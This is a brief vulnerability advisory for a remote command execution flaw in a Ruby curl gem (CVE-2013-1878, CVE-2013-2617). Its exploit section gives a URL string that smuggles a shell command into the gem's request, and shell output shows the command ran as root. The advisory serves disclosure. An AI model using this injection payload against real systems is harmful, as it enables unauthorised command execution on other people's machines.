Curl Ruby Gem Remote command execution

#804 · 2013-03-12

CVE ID(s): CVE-2013-1878, CVE-2013-2617

Notified: 2013-03-12

Description:

curl API for ruby.

Exploit:

page = curl.get("http://vapid.dhs.org/\"\;id\/tmp\/p\;\"")

larry@underfl0w:/tmp$ cat p
uid=0(root) gid=0(root) groups=0(root)

Notes:

Download: https://github.com/tg0/curl

URL: http://www.vapid.dhs.org/advisories/curl-ruby-gem-remote-exec.html